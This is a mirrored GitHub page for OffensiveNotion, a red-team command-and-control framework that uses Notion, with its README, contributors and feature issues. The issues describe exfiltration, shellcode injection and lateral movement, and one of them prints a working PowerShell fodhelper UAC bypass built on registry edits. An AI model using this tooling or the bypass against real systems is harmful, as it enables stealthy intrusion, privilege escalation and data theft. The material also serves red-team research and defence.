Giter Site home page Giter Site logo

offensivenotion's Introduction

OffensiveNotion

Notion (yes, the notetaking app) as a C2.


A collaboration by:

Mttaggart HuskyHacks


Documentation   |   Pull Requests   |   Issues

Release Pull Requests License


on

Wait, What?

Yes.

But Why?

What started as a meme grew into a full project. Just roll with it.

Read more!

Here's our blog post about it: We Put A C2 In Your Notetaking App: OffensiveNotion

Features

  • 📡 A full-featured C2 platform built on the Notion notetaking app.
  • 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
  • 🖥️ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process.
  • ☢️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
  • 📜 Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
  • 🤝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver!
  • 📱Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
  • 🕵️‍♀️ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.

Quickstart

See the Quickstart guide on how to get going right away!

Documentation

Please see the Wiki for setup, usage, commands, and more!

Thanks & Acknowledgements

This project has been a blast for me! I learned a ton about Rust and how the mechanics of a C2 work. So thank you to my co-creator @mttaggart for helping me along the way. None of this would have been possible without your technical acumen and creativity.

Thank you to Joe Helle (@joehelle) for the POC steps for the fodhelper UAC bypass.

Thank you to all of the great red team devs who came before me, too numerous to list them all, who have created some of my favorite tools. I’m continually inspired by the red dev innovation in our field.

-Husky

As a fairly new security person, I had no idea I'd end up working with such a fantastically talented, kind, and reliable partner and hacker as @HuskyHacks. It's been a true privilege to build this alongside him.

I want to thank the Taggart Tech community for supporting us along the way and always offering helpful feedback. This would not be possible without you all.

-Taggart

Contributors

The dev team would like to thank the following contributors for their work on OffensiveNotion:

Contributor Contribution
@MEhrn00 Execution guardrails for domain name/joined status 🚀
@hitcxy Improved shell encoding 🚀

Legend
🚀 - Issue/PR submitted and code landed
💡 - Cool ideas
🤔 - Consultation/Inspiration
🐛- Bug submission/fix

Disclaimer

There is no way to make an offensive security relevant research tool and release it open source without the possibility of it falling into the wrong hands. This tool is only to be used for legal, ethical purposes including, but not limited to, research, security assessment, education. The dev team is not responsible for the misuse of this tool by anyone if used for illegal/unethical purposes. No animals were harmed in the making of this code base (although Cosmo keeps climbing on my keyboard and I have to put him over on the couch, which I'm sure must feel like torture to him).

See the LICENSE for more details.

offensivenotion's People

Contributors

hitcxy avatar huskyhacks avatar m4nbat avatar mehrn00 avatar mttaggart avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

offensivenotion's Issues

[New Feature] `sysinfo`

Simple command handler that returns a bunch of info on the environment. Can lean heavily on whoami crate. Nothing crazy

prototype:
image

[Release] Prep for release

Release binaries, cargo build, xfer to Taggart's profile, check links in wiki, social media posts and launch party

[Bug] CreateThread kills the Notion agent if there's no handler to catch the shellcode shell

Describe the bug
inject self will kill the Notion agent if the injection happens but no session spawns. If you inject meterpreter shellcode but no multi/handler is up to catch it, for example.

To Reproduce
Host shellcode
Do not run a multi/handler
Perform self injection

Expected behavior
The agent should handle this and exit from the CreateThread injection routine alive.

[New Feature] Upload via Cloud Storage

The basic idea would be to provide auth tokens dynamically to a command that knew how to send data to S3/Azure/DO storage buckets.

Command proposal

upload s3 $token path/to/file

Modularize Notion Interaction

Carve out the Notion layer of OffensiveNotion into its own module, allowing the C2 to work on other LOTS channels.

[New Feature] `exfil`

For moving data out of the target environment

Crude proto function implemented in b89c5c3

  • If file is large, make a sub-page and post to that page
  • Pressure test
  • Documentation

[Dev] Agent finalization

This ships getting ready to leave the harbor.

Criteria:

  • Agent runs with and without -c (either pulls in config or has config set at compile time)
  • Debug/verbose mode prints to console
  • Release mode builds as GUI (if possible)/does not write to console
  • Agent runs Notion.so app mode when executed
  • Accounts for major exceptions/no panics during runtime

[Bug] `main.py` does not check for or confirm the `LAUNCH_APP` config option.

Describe the bug
LAUNCH_APP is one of the config options that should make the application launch the fake Notion page on Windows/Linux. However, the option is never asked for nor seded in the Python build script.

To Reproduce
Steps to reproduce the behavior:

  1. Build the agent through the Docker/Python pipeline.
  2. Note that the LAUNCH_APP option is never requested.
  3. Edit the config.json from the first run to include "LAUNCH_APP": true as a key/value pair.
  4. Even with this, the app will not launch because the default is never requested nor changed.

[New Feature] `execute-assembly`

  • Loads CLR into app
  • Downloads assembly remotely
  • Load/execute assembly and return results
  • Unload appdomain

Currently looking for help on this one, need a good example of Rust implementation of loading the CLR and FFI for .NET in general

[Idea Board] Paranoid Mode: SSL Stripping

** LONG TERM PROJECT **

Our good friend, president of the Enthusiastic Mollusk Afficianado club himself, @Alh4zr3d, recommended we look into how to mitigate the possibility of SSL proxy/stripping in an environment. This risk is mentioned in passing in the OPSEC section of the Wiki, but not addressed directly.

Some thoughts:

  • Though I anticipate that stripping the SSL on the agent's comms will reveal the clear text JSON beneath it, I don't know if that's really the case! We should set up an experiment to do so.
  • One approach for this would be that enabling "Paranoid Mode" on the agent would follow all command outputs with one round of AES encryption using a pre-determined key. Then, perhaps the encrypted body is base64 encoded and THEN egresses the network and is posted to the API as one big ol block of B64 characters.
  • Then (as a limited POC), the Red Teramer can decode/decrypt manually.
  • As a more full feautred POC, a python script on the operator's side can make similar API calls to the Listener page to scan for command blocks with B64, read them off, decode/decrypt, and post the results.

Lots of design space for interesting solutions, and definitely is a lot of work, but I also think it's doable.

[Documentation] Update Wiki/Readme

New Commands

  • selfdestruct
  • inject self

The Dang Old macOS agent

  • all the cool stuff (persistence commands, etc)
  • Platypus docs

Misc

  • New method of starting (docker build and docker run that kicks off main.py within the container)
  • Update the Changelog
  • Clean main repo README, move v1.0.0 release notes to changelog
  • Remove the Last Commit block from the README (I think it gives off the wrong vibe)
  • Wiki page on collaboration. (“Team server” in this case is just sharing a notebook out, access Notion from mobile”)

[New Feature] Lateral Movement capabilities

Develop lat move capabilities for all OS builds.

Idea board

Win:

  • PSRemoting
  • PSexec
  • SCShell (see other issue)
  • WMI remote exec

Lin/macOS:

  • SSH

Rando thoughts

Shellcode injection for this is probably off the table (shellcode for the ON agent would be unwieldly and frankly ridiculous)

Likely will use some kind of remote copy primitive to send it to other hosts

(bonus )Any design space for P2P?

[New Feature] Fodhelper windows UAC bypass/elevate

#Registry Command Edit

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value [injection] -Force

#Bypass Execution
Start-Process "C:\Windows\System32\fodhelper.exe"

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.